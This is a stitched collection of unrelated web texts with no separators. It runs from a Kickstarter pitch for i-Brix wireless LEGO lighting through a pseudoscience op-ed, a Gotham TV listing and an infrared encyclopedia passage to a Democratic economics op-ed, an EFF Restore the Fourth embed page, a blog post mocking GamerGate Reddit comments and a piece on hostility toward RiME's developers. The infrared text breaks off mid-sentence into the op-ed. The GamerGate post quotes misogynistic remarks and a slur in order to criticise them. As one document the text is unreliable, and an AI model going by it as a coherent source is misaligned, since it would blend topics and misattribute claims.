i-Brix is designed to work WITH your existing LEGO® collection - our Power Plate base plate and Lit Brix will work in conjunction with your existing bricks and pieces, allowing you the flexibility to use all of your existing components! And, for future reference, we are developing additional features and other "Brix" that will work with our existing i-Brix system.
Disney® Frozen Set with (6) Lit Brix from i-Brix
I've spent the last five years trying to come up with a way to make lighting up bricks easier and more convenient – I spent over a year alone researching micro batteries that would fit inside a 1x1 brick (8mm x 8mm outside dimensions) but still put out enough power to light up an LED for more than a few hours. There were lithium batteries, nickel batteries, silver batteries, zinc batteries and several others, but they just didn't work well.
Battery Powered Brick
Most often, the smaller the battery, the lower the power output or lifespan. There are rechargeable batteries, but that could require disassembly of a model just to charge a lighted brick.
There were other drawbacks to this concept as well:
Very, very small batteries are not very common, resulting in a higher cost-per-unit.
Creating a miniature housing to accommodate 1-2 micro batteries that would allow for future replacement was definitely a challenge.
And, who wants to disassemble a 1x1 brick to replace a micro battery after only a few days of use?
The other option, of course, was developing a lighting system that used wires to connect power to the LEDs. But this meant possibly drilling holes, pinching or damaging very fine wires and other nuances.
Wired LED Lighting (example)
I felt that the "best" solution for what I was shooting for was to eliminate wires and direct-contact batteries to the lights themselves. But how could this be done?
How do i-Brix work? In concept, it’s pretty simple – for a new setup you’ll need a Power Plate which can go underneath your building surface. Then you simply add the i-Brix Lit Brix units and place those above the Power Plate. Since the power is able to transmit through plastic surfaces, it can be concealed underneath your LEGO® plates without taking away from the appearance of the system.
Simple Example of Wireless Power Transmission
Now, we haven't invented the concept of wireless power - Nikola Tesla is given most of the credit for this amazing wonder from years ago. However, we have refined the process to make it work on a very small scale. When you take into consideration just how small our wireless LED receivers are, it's simply amazing! We've fit a wireless receiver and LED into a space that's only 8mm square.
LEGO® Kit Featuring (5) Lit Brix from i-Brix!
Also, unlike a cell phone charger, toothbrush, or other device, our LED Lit Brix receivers do not require direct surface contact with the transmitting Power Plate. Lit Brix 1x1 brix can work about 6" away from the Power Plate, or even further when combined with our Booster Plate units (for example, one booster plate could increase your range to up to 12").
LEGO® Set Shown Using (6) Lit Brix from i-Brix
We are bringing i-Brix to Kickstarter to generate buzz and momentum behind it so that we can have these produced in volume, allowing all of you to enjoy i-Brix! With our pre-configured packages that feature special “introductory” pricing, you can get setup with i-Brix at a great price and be one of the first to own them. We have several kit options available on Kickstarter, some include Power Plates, Lit Brix and even the Booster Plates.
Our Kickstarter funding will be used for:
Mold fabrication for our Brix that will hold the LED core as well as actual brick manufacturing
Receiver production and assembly
Finalization of engineering work and product testing
Board production that holds the electronic components, including the LED(s)
Packaging for each i-Brix product
LEGO® set with i-Brix components
Same set, closer view! :)
We feel Kickstarter is the best place to kickoff i-Brix because it gives us a chance to bring out an exciting new product while also giving our backers first "dibs" at getting them into their hands.
Minifig and myself with (4) working i-Brix pieces (minifig is on the right)
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Technical Specifications (Preliminary, may change):
Standard Power Plate Transmitter Base:
10"L x 10"W x.25"H
5VDC input power (similar to USB wall charger)
2W power output
transmitter range without Booster Plates, up to 8"
Basic Brix Transmitter Base:
6"L x 6"W x.25"H 5VDC
input power (similar to USB wall charger)
2W power output
transmitter range without Booster Plates, up to 6"
Receiver Units:
"1x1" brick size (8mm x 8mm x 9.6mm), flat surface on sides
Clear plastic, injection molded
Single LED on-board mounted
Booster Plates:
6x6 (approx. 1.89" x 1.89") plate size (preliminary size estimate)
Increases horizontal or vertical wireless range of receivers. Placed above Power Plate, up to 12" range.
Booster Plates can also be used horizontally, across the same plane to increase range laterally!
*We back and support the LEGO® fair play policy: http://www.lego.com/en-US/legal/legal-notice/fair-play
A few notes/disclaimers - all examples shown are REAL, functional i-Brix Lit Brix 1x1 units being used over a standard Power Plate. I chose to use our prototype Brix for the purposes of providing an accurate portrayal of how i-Brix could work in real building scenarios. There are no "tricks" hidden out of view, such as wires connecting the Brix or batteries inside the Brix just so we could make them light up. They are being powered with our wireless technology.
LEGO® race set with i-Brix being used
Also, some of the Lit Brix displayed are clear units with the angular lip on the bottom and a knob on the front. At this time, our campaign is to focus on the solid-faced 1x1 clear Brix to help in simplifying the process for our initial run. The great thing is that when we develop additional sizes or styles going forward, they will work with the i-Brix components shown here. We have plans to expand upon this concept in the future if we can significantly exceed our initial goals! Just think of all the possibilities :)In Depth › Analysis and Opinion
In defence of pseudoscience
Believe it or not; pseudoscience provides the perfect launch pad for logical thought, says Dr Paul Willis.
Recently, I was watching an old MythBusters with my son. It was the one where they investigated the Hindenburg myth, that what caught fire was not the hydrogen but a thermite mixture in the paints used to dope the fabric covering of the behemoth airship. (They concluded that it was a mixture of both the thermite and the hydrogen).
Watching their models of the Hindenburg burn with varying intensities took me back to my high school days and a bout of paranormal fakery and investigations that developed my abilities to think rationally.
In hindsight I started out with hoaxes, pseudoscience and pulp-science as a training ground for rational investigation. And it hasn't surprised me that over the years as I've met thousands of scientists and science communicators, their ranks are filled with people who started thinking in the rational paradigms of science by dabbling in the pseudosciences.
It all started when a school mate whose name has long since been forgotten came to school one day with some colour photographs of the last minute of the Hindenburg as she crashed to the ground in that infamous fireball. We gathered around realising that there was something wrong — we'd never seen colour pics of the incident before and there was something about the pose that rang alarm bells in the backs of our minds.
They were, of course, hoaxes; he'd spent the weekend making a scale model of the airship then photographed it after setting it alight. But what he also ignited was a wave of hoaxing across the school that lasted for months. I got in on the craze hoaxing photos of UFOs and ghosts. It was all good fun and some of the results I remember were very convincing. But we were learning something important; that it is relatively easy to fake data and that the kudos of creating a convincing fake is intoxicating!
^ to top
Testing claims
Up until that point I had dabbled in all kinds of pseudoscientific mumbo jumbo from UFOs, ghosts, Bigfoot, past life regressions, psychic abilities etc, etc. You name it and I was interested in it. But the hoaxing fad started me down the path of devising ways of testing the claims made by the paranormal, and questioning the evidence that had been put forward. I had already dispatched creationism as a corrupted belief system by conducting some simple investigations of the evidence for an old earth and the evolution of life that could be found all around me. And as I investigated all the other non-science and 'fringe' science that had held my attention to that point, one by one my interest in them dropped as they each revealed themselves to be based on bunkum, probable fraud and impossibilities.
I tested past life regressions by planting questions that could not have been answered by someone who was genuinely from another period ("You enter the room where you died in 1760, where is the light switch?" "On the left of the door").
I covered three identical buckets, only one with water in it, and got dowsers to tell me which one was full — they couldn't do it. I once taped a large quartz crystal under a chair that I got a crystal freak to sit on without knowing it; they detected nothing until I told them they were sitting on a crystal (I actually told them it was a garnet taped to the back of the chair and they started prattling on about how they could feel 'garnet energy' in their back and they were shocked that they were actually sitting on a large quartz crystal without realising it).
Conversely, I even had the science teacher at school convinced that his hand was tingling because of the radiation coming from a lump of uranium ore that a friend brought to school — the powers of suggestion!
Throughout my career as a scientist and science communicator I've been struck by how many of my colleagues also shared an early interest in the pseudosciences and how examining and testing those beliefs led them to appreciate rational thinking and dispatch the pseudosciences as implausibilities that are often riddled with fraud. In this way pseudoscience has been a scratching post for many young scientists upon which they can hone their logical abilities to investigate and test claims. In some cases this has been their introduction to science but often, as in my experience, I had a pre-existing interest in science and used the pseudosciences as a testing ground for my abilities as a budding rational thinker.
Thus I wish to praise the pseudosciences as useful in the ontogeny of so many of our scientific minds. Not as a constructive contribution to their knowledge but as a convenient foil to test their growing powers of reason.
About the author: Dr Paul Willis is the director of RiAus, Australia's unique national science hub, which showcases the importance of science in everyday life. The well-known palaeontologist and broadcaster previously worked for ABC TV's Catalyst program. This article was first published on the RiAus website.
^ to topTHURSDAY, NOVEMBER 30
[EDITOR'S NOTE: Audio descriptions for tonight's episodes of GOTHAM and THE ORVILLE are available on the SAP Audio Channel.]
--"GOTHAM" - (8:00-9:01 PM ET/PT) -- CC-AD-HDTV 720p-Dolby Digital 5.1
DEADLY DEALS ON AN ALL-NEW "GOTHAM" THURSDAY, NOVEMBER 30, ON FOX
Gordon tries to broker a deal with Penguin that involves Sofia. Meanwhile, Alfred tries to pull Bruce out of his teenage-angst and downward spiral, as Lee Thompkins gains more control over the Narrows in the all-new "A Dark Knight: Things That Go Boom" episode of GOTHAM airing Thursday, Nov. 30 (8:00-9:01 PM ET/PT) on FOX. (GTH-410) (TV-14 L, V)
Cast: Ben McKenzie as Detective James Gordon, Donal Logue as Harvey Bullock, David Mazouz as Bruce Wayne, Morena Baccarin as Leslie Thompkins, Sean Pertwee as Alfred, Robin Lord Taylor as The Penguin, Erin Richards as Barbara Kean, Camren Bicondova as Selina Kyle/the future Catwoman, Cory Michael Smith as Edward Nygma/the Riddler, Jessica Lucas as Tabitha Galavan, Chris Chalk as Lucius Fox, Drew Powell as Butch Gilzean/Solomon Grundy, Alexander Siddig as Ra's Ah Ghul, Crystal Reed as Sofia Falcone
Guest Cast: Michael Cerveris as Professor Pyg, Anthony Carrigan as Zsasz, Stu Large Riley as Sampson, Christopher Convery as MartinInfrared radiation is used in industrial, scientific, military, law enforcement, and medical applications. Night-vision devices using active near-infrared illumination allow people or animals to be observed without the observer being detected. Infrared astronomy uses sensor-equipped telescopes to penetrate dusty regions of space such as molecular clouds, detect objects such as planets, and to view highly red-shifted objects from the early days of the universe. [8] Infrared thermal-imaging cameras are used to detect heat loss in insulated systems, to observe changing blood flow in the skin, and to detect overheating of electrical apparatus.
Infrared radiation is emitted or absorbed by molecules when they change their rotational-vibrational movements. It excites vibrational modes in a molecule through a change in the dipole moment, making it a useful frequency range for study of these energy states for molecules of the proper symmetry. Infrared spectroscopy examines absorption and transmission of photons in the infrared range. [7]
Infrared radiation was discovered in 1800 by astronomer Sir William Herschel, who discovered a type of invisible radiation in the spectrum lower in energy than red light, by means of its effect on a thermometer. [6] Slightly more than half of the total energy from the Sun was eventually found to arrive on Earth in the form of infrared. The balance between absorbed and emitted infrared radiation has a critical effect on Earth's climate.
Infrared radiation extends from the nominal red edge of the visible spectrum at 700 nanometers (nm) to 1 millimeter (mm). This range of wavelengths corresponds to a frequency range of approximately 430 THz down to 300 GHz. Below infrared is the microwave portion of the electromagnetic spectrum.
On the surface of Earth, at far lower temperatures than the surface of the Sun, some thermal radiation consists of infrared in the mid-infrared region, much longer than in sunlight. However black body or thermal radiation is continuous, it gives off radiation at all wavelengths. Of these natural thermal radiation processes, only lightning and natural fires are hot enough to produce much visible energy, and fires produce far more infrared than visible-light energy. [11]
Sunlight, at an effective temperature of 5,780 kelvins (9,944° Fahrenheit), is composed of near-thermal-spectrum radiation that is slightly more than half infrared. At zenith, sunlight provides an irradiance of just over 1 kilowatt per square meter at sea level. Of this energy, 527 watts is infrared radiation, 445 watts is visible light, and 32 watts is ultraviolet radiation. [10] Nearly all the infrared radiation in sunlight is near infrared, shorter than 4 micrometers.
The C-band is the dominant band for long-distance telecommunication networks. The S and L bands are based on less well established technology, and are not as widely deployed.
In optical communications, the part of the infrared spectrum that is used is divided into seven bands based on availability of light sources transmitting/absorbing materials (fibers) and detectors: [20]
The onset of infrared is defined (according to different standards) at various values typically between 700 nm and 800 nm, but the boundary between visible and infrared light is not precisely defined. The human eye is markedly less sensitive to light above 700 nm wavelength, so longer wavelengths make insignificant contributions to scenes illuminated by common light sources. However, particularly intense near-IR light (e.g., from IR lasers, IR LED sources, or from bright daylight with the visible light removed by colored gels) can be detected up to approximately 780 nm, and will be perceived as red light. Intense light sources providing wavelengths as long as 1050 nm can be seen as a dull red glow, causing some difficulty in near-IR illumination of scenes in the dark (usually this practical problem is solved by indirect illumination). Leaves are particularly bright in the near IR, and if all visible light leaks from around an IR-filter are blocked, and the eye is given a moment to adjust to the extremely dim image coming through a visually opaque IR-passing photographic filter, it is possible to see the Wood effect that consists of IR-glowing foliage. [19]
Near-infrared is the region closest in wavelength to the radiation detectable by the human eye. mid- and far-infrared are progressively further from the visible spectrum. Other definitions follow different physical mechanisms (emission peaks, vs. bands, water absorption) and the newest follow technical reasons (the common silicon detectors are sensitive to about 1,050 nm, while InGaAs's sensitivity starts around 950 nm and ends between 1,700 and 2,600 nm, depending on the specific configuration). No international standards for these specifications are currently available.
The most common photometric system used in astronomy allocates capital letters to different spectral regions according to filters used; I, J, H, and K cover the near-infrared wavelengths; L, M, N, and Q refer to the mid-infrared region. These letters are commonly understood in reference to atmospheric windows and appear, for instance, in the titles of many papers.
These divisions are not precise and can vary depending on the publication. The three regions are used for observation of different temperature ranges, and hence different environments in space.
NIR and SWIR is sometimes called "reflected infrared", whereas MWIR and LWIR is sometimes referred to as "thermal infrared". Due to the nature of the blackbody radiation curves, typical "hot" objects, such as exhaust pipes, often appear brighter in the MW compared to the same object viewed in the LW.
A comparison of a thermal image (top) and an ordinary photograph (bottom) shows that a trash bag is transparent but glass (the man's spectacles) is opaque in long-wavelength infrared.
In general, objects emit infrared radiation across a spectrum of wavelengths, but sometimes only a limited region of the spectrum is of interest because sensors usually collect radiation only within a specific bandwidth. Thermal infrared radiation also has a maximum emission wavelength, which is inversely proportional to the absolute temperature of object, in accordance with Wien's displacement law.
The concept of emissivity is important in understanding the infrared emissions of objects. This is a property of a surface that describes how its thermal emissions deviate from the idea of a black body. To further explain, two objects at the same physical temperature will not show the same infrared image if they have differing emissivity. For example, for any pre-set emissivity value, objects with higher emissivity will appear hotter, and those with a lower emissivity will appear cooler. For that reason, incorrect selection of emissivity will give inaccurate results when using infrared cameras and pyrometers.
Heat is energy in transit that flows due to a temperature difference. Unlike heat transmitted by thermal conduction or thermal convection, thermal radiation can propagate through a vacuum. Thermal radiation is characterized by a particular spectrum of many wavelengths that are associated with emission from an object, due to the vibration of its molecules at a given temperature. Thermal radiation can be emitted from objects at any wavelength, and at very high temperatures such radiation is associated with spectra far above the infrared, extending into visible, ultraviolet, and even X-ray regions (e.g. the solar corona ). Thus, the popular association of infrared radiation with thermal radiation is only a coincidence based on typical (comparatively low) temperatures often found near the surface of planet Earth.
Infrared radiation is popularly known as "heat radiation", [21] but light and electromagnetic waves of any frequency will heat surfaces that absorb them. Infrared light from the Sun accounts for 49% [22] of the heating of Earth, with the rest being caused by visible light that is absorbed then re-radiated at longer wavelengths. Visible light or ultraviolet -emitting lasers can char paper and incandescently hot objects emit visible radiation. Objects at room temperature will emit radiation concentrated mostly in the 8 to 25 µm band, but this is not distinct from the emission of visible light by incandescent objects and ultraviolet by even hotter objects (see black body and Wien's displacement law ). [23]
Materials with higher emissivity appear to be hotter. In this thermal image, the ceramic cylinder appears to be hotter than its cubic container (made of silicon carbide), while in fact, they have the same temperature.
Night vision Edit
Active-infrared night vision: the camera illuminates the scene at infrared wavelengths invisible to the human eye. Despite a dark back-lit scene, active-infrared night vision delivers identifying details, as seen on the display monitor.
Infrared is used in night vision equipment when there is insufficient visible light to see.[24] Night vision devices operate through a process involving the conversion of ambient light photons into electrons that are then amplified by a chemical and electrical process and then converted back into visible light.[24] Infrared light sources can be used to augment the available ambient light for conversion by night vision devices, increasing in-the-dark visibility without actually using a visible light source.[24]
The use of infrared light and night vision devices should not be confused with thermal imaging, which creates images based on differences in surface temperature by detecting infrared radiation (heat) that emanates from objects and their surrounding environment.[25]
Thermography Edit
Infrared radiation can be used to remotely determine the temperature of objects (if the emissivity is known). This is termed thermography, or in the case of very hot objects in the NIR or visible it is termed pyrometry. Thermography (thermal imaging) is mainly used in military and industrial applications but the technology is reaching the public market in the form of infrared cameras on cars due to the massively reduced production costs.
Thermographic cameras detect radiation in the infrared range of the electromagnetic spectrum (roughly 900–14,000 nanometers or 0.9–14 μm) and produce images of that radiation. Since infrared radiation is emitted by all objects based on their temperatures, according to the black body radiation law, thermography makes it possible to "see" one's environment with or without visible illumination. The amount of radiation emitted by an object increases with temperature, therefore thermography allows one to see variations in temperature (hence the name).
Hyperspectral imaging Edit
[26] Hyperspectral thermal infrared emission measurement, an outdoor scan in winter conditions, ambient temperature −15 °C, image produced with a Specim LWIR hyperspectral imager. Relative radiance spectra from various targets in the image are shown with arrows. The infrared spectra of the different objects such as the watch clasp have clearly distinctive characteristics. The contrast level indicates the temperature of the object.
Infrared light from the LED of a remote control as recorded by a digital camera.
A hyperspectral image is a "picture" containing continuous spectrum through a wide spectral range at each pixel. Hyperspectral imaging is gaining importance in the field of applied spectroscopy particularly with NIR, SWIR, MWIR, and LWIR spectral regions. Typical applications include biological, mineralogical, defence, and industrial measurements.
Thermal infrared hyperspectral imaging can be similarly performed using a Thermographic camera, with the fundamental difference that each pixel contains a full LWIR spectrum. Consequently, chemical identification of the object can be performed without a need for an external light source such as the sun or the moon. Such cameras are typically applied for geological measurements, outdoor surveillance and UAV applications.[27]
Other imaging Edit
In infrared photography, infrared filters are used to capture the near-infrared spectrum. Digital cameras often use infrared blockers. Cheaper digital cameras and camera phones have less effective filters and can "see" intense near-infrared, appearing as a bright purple-white color. This is especially pronounced when taking pictures of subjects near IR-bright areas (such as near a lamp), where the resulting infrared interference can wash out the image. There is also a technique called 'T-ray' imaging, which is imaging using far-infrared or terahertz radiation. Lack of bright sources can make terahertz photography more challenging than most other infrared imaging techniques. Recently T-ray imaging has been of considerable interest due to a number of new developments such as terahertz time-domain spectroscopy.
Reflected light photograph in various infrared spectra to illustrate the appearance as the wavelength of light changes.
Tracking Edit
Infrared tracking, also known as infrared homing, refers to a passive missile guidance system, which uses the emission from a target of electromagnetic radiation in the infrared part of the spectrum to track it. Missiles that use infrared seeking are often referred to as "heat-seekers" since infrared (IR) is just below the visible spectrum of light in frequency and is radiated strongly by hot bodies. Many objects such as people, vehicle engines, and aircraft generate and retain heat, and as such, are especially visible in the infrared wavelengths of light compared to objects in the background.[28]
Heating Edit
Infrared radiation can be used as a deliberate heating source. For example, it is used in infrared saunas to heat the occupants. It may also be used in other heating applications, such as to remove ice from the wings of aircraft (de-icing).[29] Infrared can be used in cooking and heating food as it predominantly heats the opaque, absorbent objects, rather than the air around them.
Infrared heating is also becoming more popular in industrial manufacturing processes, e.g. curing of coatings, forming of plastics, annealing, plastic welding, and print drying. In these applications, infrared heaters replace convection ovens and contact heating.
Efficiency is achieved by matching the wavelength of the infrared heater to the absorption characteristics of the material.
Cooling Edit
A variety of technologies or proposed technologies take advantage of infrared emissions to cool buildings or other systems. The LWIR (8–15 µm) region is especially useful since some radiation at these wavelengths can escape into space through the atmosphere.
Communications Edit
IR data transmission is also employed in short-range communication among computer peripherals and personal digital assistants. These devices usually conform to standards published by IrDA, the Infrared Data Association. Remote controls and IrDA devices use infrared light-emitting diodes (LEDs) to emit infrared radiation that is focused by a plastic lens into a narrow beam. The beam is modulated, i.e. switched on and off, to prevent interference from other sources of infrared (like sunlight or artificial lighting). The receiver uses a silicon photodiode to convert the infrared radiation to an electric current. It responds only to the rapidly pulsing signal created by the transmitter, and filters out slowly changing infrared radiation from ambient light. Infrared communications are useful for indoor use in areas of high population density. IR does not penetrate walls and so does not interfere with other devices in adjoining rooms. Infrared is the most common way for remote controls to command appliances. Infrared remote control protocols like RC-5, SIRC, are used to communicate with infrared.
Free space optical communication using infrared lasers can be a relatively inexpensive way to install a communications link in an urban area operating at up to 4 gigabit/s, compared to the cost of burying fiber optic cable, except for the radiation damage. "Since the eye cannot detect IR, blinking or closing the eyes to help prevent or reduce damage may not happen."[30]
Infrared lasers are used to provide the light for optical fiber communications systems. Infrared light with a wavelength around 1,330 nm (least dispersion) or 1,550 nm (best transmission) are the best choices for standard silica fibers.
IR data transmission of encoded audio versions of printed signs is being researched |
’s life.
Unfortunately, the Democratic Party seems to be controlled by economics denialists. This has prevented it from having a coherent economic message.
It looks like the Democrats have taken another shellacking in the congressional elections this week. Part of this is due to factors like the normal falloff in voting in a non-presidential year and the weariness with a president after six years in office, which tends to cause the electorate to support the opposing party.
However, part of the reason for the shellacking is the Democrats' refusal to address the economic issues that trouble most of the public. As folks know who are either familiar with the data or live in the real world, the economy is still bad for most people. President Obama can rightly say that he inherited a mess from his predecessor, but at some point that does get old. He can also honestly blame the Republicans in Congress who have eagerly proclaimed their opposition to any economic proposal that doesn't have the primary purpose of making the rich even richer.
While the grim reality can offer legitimate excuses, the Democrats still suffered from the fact that they didn't have a real economic agenda for the bulk of the population. The Republicans at least have a clear agenda. Everyone knows if they get back in control they will give everything left on the table to the richest 1 percent. But what would the Democrats do?
We do know they would raise the minimum wage. This is good policy to get more money in the pockets of low income workers who can badly use a raise. It is also popular. Polls regularly show that large majorities of people across the political spectrum support increasing the minimum wage.
Still, a higher minimum wage doesn't offer anything to the bulk of the labor force whose wages will not be affected by plausible increases in the minimum wage. To these people the Democrats offered nothing but empty rhetoric and the public wasn't stupid enough to buy it.
There is no shortage of policies that the Democrats could be pushing which would help ordinary workers. To start with one that features prominently in the business press, the Democrats could take a strong position behind an expansionary monetary policy from the Federal Reserve Board.
This means strong opposition to rate increases until there is clear evidence of inflation.
The Fed is independent and has to make its own calls, but it would help them make the right calls if they know that there are many in Congress who are prepared to insist the Fed follow its mandate for maintaining high employment. The Fed faces intense pressure from the financial industry to pounce on any hint of inflation.
The financial industry wants the Fed to raise interest rates to keep unemployment high and prevent workers from gaining bargaining power. It would be a nice switch if Democrats stood could say in public that the Fed should allow workers to get jobs and to gain some bargaining power.
Another switch would be if the Democrats could talk seriously about the trade deficit. Talk of restoring “competitiveness” is cute, but basically complete nonsense. No one in either party has any proposal that will make more than a marginal difference in the productivity of the U.S. economy any time in the near future.
If we want to get the trade deficit down then we have to get the value of the dollar down against the currencies of our trading partners. And this is not a question of beating them up for “manipulating” their currency. It is a question of negotiating where we give up things like enforcement of Microsoft's copyrights or Pfizer's patent monopolies in exchange for a lower valued dollar, and therefore more balanced trade.
Democrats also should be able to speak simple truths about national income accounting instead of being afraid in the way that Republicans are scared to openly endorse the theory of evolution. If we have a large trade deficit, the only ways we can get to potential GDP is either through asset bubbles that pump up investment and consumption or through government deficits. Like evolution, this is true.
Unfortunately, the Democratic Party seems to be controlled by economics denialists. This has prevented it from having a coherent economic message.
Finally, a Democratic Party that hopes to have an appealing economic message for ordinary workers has to be prepared to attack Wall Street. This is not an abstraction. If the industry was forced to pay the same sort of taxes as other industries, as even the I.M.F. now advocates, and we broke up the big banks, it would go far towards ending the financial sector's drain on the rest of the economy. It would also go far toward reducing inequality.
In short, it is not surprising that voters were not happy with the Democrats. They did not have a program that offers real improvement in the average person's life. And the message that the other guy is worse apparently did not cut it this year.This Fourth of July, EFF will be demonstrating our commitment to your Constitutional right of privacy from government surveillance by displaying the text of the Fourth Amendment on our website. This demonstration is a visual symbol of our opposition to the illegal and unconstitutional surveillance by the National Security Agency, which the government now admits has been collecting data on millions of ordinary Americans not suspected of any crime. We, along with the Internet Defense League and many other organizations, are showing online solidarity with the Restore the Fourth movement, a nonpartisan, grassroots movement that is planning protests against NSA spying on July 4th in cities across the United States.
We’re asking website administrators to join us in this online protest tomorrow. You can do this by displaying the Fourth Amendment on your own site.
To make this as easy as possible, we’ve created an embeddable code for you to use. Just insert this onto the homepage of your website and you’ll automatically be displaying our gorgeous Fourth Amendment graphic.
Here’s the embed code:
<script src="https://www.eff.org/sites/all/themes/frontier/restorethe4th/embed.js"></script>
We also made some light- and dark-colored background images for you to use to decorate your websites on July 4th. Check them out here:
If you are not a website administrator, there are many other ways you can help on July 4th, including:
Signing onto the Stop Watching Us petition (available to people in the US and abroad)
Calling your members of Congress – 1-STOP-323-NSA (1-786-732-3672)
Tweeting your support for the campaign using the hashtag #restorethe4th
Attending a rally in your area on July 4th. See a list of rallies on Restorethefourth.net. If there is no rally in your area, consider organizing one – see the Bill of Rights Defense Committee’s guide to hosting a successful event.
If you’re outside the United States, and would like to join us in protesting the American government's surveillance of Internet users worldwide, EFF has an international petition to sign. You could also join our action by quoting from Article 12 of the Universal Declaration of Human Rights on your website, or your country's own protections against unwarranted surveillance
Note about privacy and using an embeddable graphic: Whenever you use code that embeds content from another site, your visitors will load content from that website. In this case, they would load content from EFF.org. Our website administrators would be able to gather general data about the number of times this Restore the Fourth pop up is loaded. However, we use a system we designed called cryptolog to minimize the data we receive about website visitors (see below).
Embedding this code will place a session cookie in your browser to ensure that the image of the Fourth Amendment is only displayed once to website visitors, rather than every time they visit your page. If you'd like to force the image to pop up, you can delete your cookies or restart your browser.
If you do not want to embed an image, you can copy the image to your own server and upload it onto your website without using the embed code. You can find the image here.
Read about cryptolog: https://www.eff.org/policy#cryptolog
Source code of cryptolog: https://git.eff.org/?p=cryptolog.git;a=summary
Read EFF’s privacy policy here: https://eff.org/policySo the #GamerGaters are mad about a new study that suggests that some of the most dickishly misogynistic male gamers are quite literally losers. That is, men playing video games like Halo and Call of Duty online tend to lash out at women players when they’re doing their worst.
Looking at the behavior of a number of men and women over the course of 163 games of Halo 3, researchers Michael Kasumovic and Jeffrey Kuznekoff from the University of New South Wales and Miami University found that
lower-skilled players were more hostile towards a female-voiced teammate, especially when performing poorly. In contrast, lower-skilled players behaved submissively towards a male-voiced player in the identical scenario. This difference in gender-directed behaviour became more extreme with poorer focal-player performance.
In other words, the more of a video game loser they were, the more of a misogynistic loser they became.
We suggest that low-status males increase female-directed hostility to minimize the loss of status as a consequence of hierarchical reconfiguration resulting from the entrance of a woman into the competitive arena.
In other words, they hate losing … to a girl.
The researchers argue that the entrance of larger numbers of women into the dude-heavy world of video games is especially threatening to “[l]ow-status and low-performing males,” who
have the most to lose as a consequence of the hierarchical reconfiguration due to the entry of a competitive woman. As men often rely on aggression to maintain their dominant social status, the increase in hostility towards a woman by lower-status males may be an attempt to disregard a female’s performance and suppress her disturbance on the hierarchy to retain their social rank.
If this all sounds to you like a plausible explanation for a lot of the anger driving #GamerGaters, you’re not the only one to see the connection.
A recent article on the study on Yahoo News suggests that,
[a]s gaming has traditionally been a male-dominated pastime, these findings could go some way to explain 2014′s Gamergate furore. Several high profile female game developers were targeted with a torrent of misogynistic abuse, including rape and death threats, coordinated by factions of male gamers using sites like 4Chan and Reddit.
And this is what has the #GamerGaters on Reddit’s KotakuInAction subreddit pig-biting mad. In a thread complaining about the Yahoo News piece, the regulars show just what losers they really are by lashing out at … women.
Evidently forgetting that the study in question was conducted by two men, a Redditor called Katastic_Voyage won more than 130 upvotes with a lovely rant declaring that
There’s a huge freaking difference between shit talking, and bullying. But most of these articles and “papers” are written by women, who live in a woman’s world, and don’t understand the first thing about what it’s really like to be a man. The others are by men who are basically women but doesn’t realize it–they were likely forced to grow up in a woman dominated, catty, passive-aggressive world.
Ok, my bad. The researchers might appear to be men, but are probably “men who are basically women but doesn’t realize it.”
And somehow this all has something to do with metal music:
Woman call all men “dumb” because that’s what they call anything they don’t understand. It’d be like someone who likes classical music calling metal dumb. Even if they’re actually related. Even though there’s plenty of beauty and complexity in metal… they don’t ever dive into it so they deride and dismiss it.
It IS real music, mom! (Sound of bedroom door slamming, followed by the muffled intro to “Enter Sandman.”)
So they take things like: The need to compete? They think it’s violence. The need to shit talk? They think it’s bullying. The fact that men can look at other women and not cheat? It blows their minds that men can actually feel pleasure just seeing a woman of beauty… and that’s it.
Uh, I thought we were talking about video games. Did some mean lady just break up with you?
A fellow called Zakamaru, replying to Katastic_Voyage, decided to show how not mad he was about women invading “male spaces” by getting mad about women invading “male spaces.”
It’s what happens when a bunch of women get into male spaces and some fail to understand it. Gaming has always been competitive. I can’t even begin to count the amount of times I was called various names and derogatory remarks, but it doesn’t fucking matter. You get insulted all the time, and it takes a special type of person to actually take offense to that. … It’s not that we hate women. With gaming being a predominantly male hobby, it’s going to have elements of masculinity, competitiveness, and testosterone floating about. When people shit talk, they will use any sort of “weakness” that you have and attack it. If you’re unskilled, you’re a noob/scrub. If you’re an obvious underaged child, you get called a kid. If someone needs a quick all-purpose insult, you’re now a faggot. When some women see this, they immediately think that it needs to change to fit their worldview. To them, these insults are simply unacceptable, and are “x-phobic” or whatever tumblr buzzword they feel like using today. Never mind the fact that gaming was born from a bunch of socially awkward men who carved out their own space with their own culture and lingo. No, now you have to cater to ME, because I’m a GIRL.
Boy, you guys really put those dumb lady researchers (who aren’t ladies, but who maybe sort of really are) in their place.
—
Please read the newly revised COMMENTS POLICY before commenting.
Share this: Facebook
Twitter
Reddit
Tumblr
Email
More
Google
Pinterest
LinkedIn
Pocket
Print
Like this: Like Loading...Have you ever wondered if the hateful things you say about a video game online have any impact on the developers? The short answer is yes, they do. I can’t count on one hand the times I’ve seen people on the internet trash a game they don’t like. Sometimes it even happens in our own comment section, because people can’t resist trying to hurt someone else’s feelings.
One of the biggest offenders is the NeoGAF gaming forums, where gamers congregate to talk about everything gaming. These people are some of the most hardcore gamers out there and in a recent interview with Edge magazine, RiME creative director Paul Rubio reveals the impact that some of the hatred on that site had for his personal life.
Even so, If I had read Neogaf at the time the game probably wouldn’t exist. I spent some time six months ago going through two-and-a-half years of comments on Neogaf, and I was literally crying for two days. Partly because I just don’t understand the cruelty, but more importantly because I could see those years over those two days, and I began to understand that maybe people can love something so much that they can hate it.
So why is RiME getting so much hate? Well, it’s had a long and storied history that has upset many hardcore gamers. The game was originally announced as a PS4-exclusive title back in 2013 alongside the original console reveal. Then it was revealed that the trailer shown off during that event wasn’t gameplay. Here’s the original rumor that set off the massive chain of backlash.
First of all, I was told that the reveal trailer was all cinematic. It was faked to mimic gameplay, assets, etc. from a real game but 0% of the game was implemented. So the real challenge for the studio was to put that vision into the final game. And apparently this has been impossible to achieve. This words are a direct quote from my source about this news and the studio itself (it contains his personal opinion): “Sony required about one month ago the DEV KITs to be returned and canceled the fundings into Tequila Works, due of the game had no-sense. Basically there wasn’t a game.
It is true that Sony allowed Tequila Works to reacquire the rights to the game, which is why it’s finally coming to Nintendo Switch. Granted, that release date is coming after the PS4 release date in May, but RiME has already ticked off Switch owners by being sold at a $10 premium over other versions of the game.
I guess the point here is that maybe we shouldn’t be so harsh online with our opinions of people who are genuinely trying to create something that millions of people can enjoy. I understand people are worried about getting bamboozled by games like No Man’s Sky, which will never live up to the hype it generated, but there’s a simple answer to that. Stop. Pre-ordering. Games. PERIOD.
Will you be getting RiME on Switch?
[via NeoGAF]This list was originally published in March 2017.
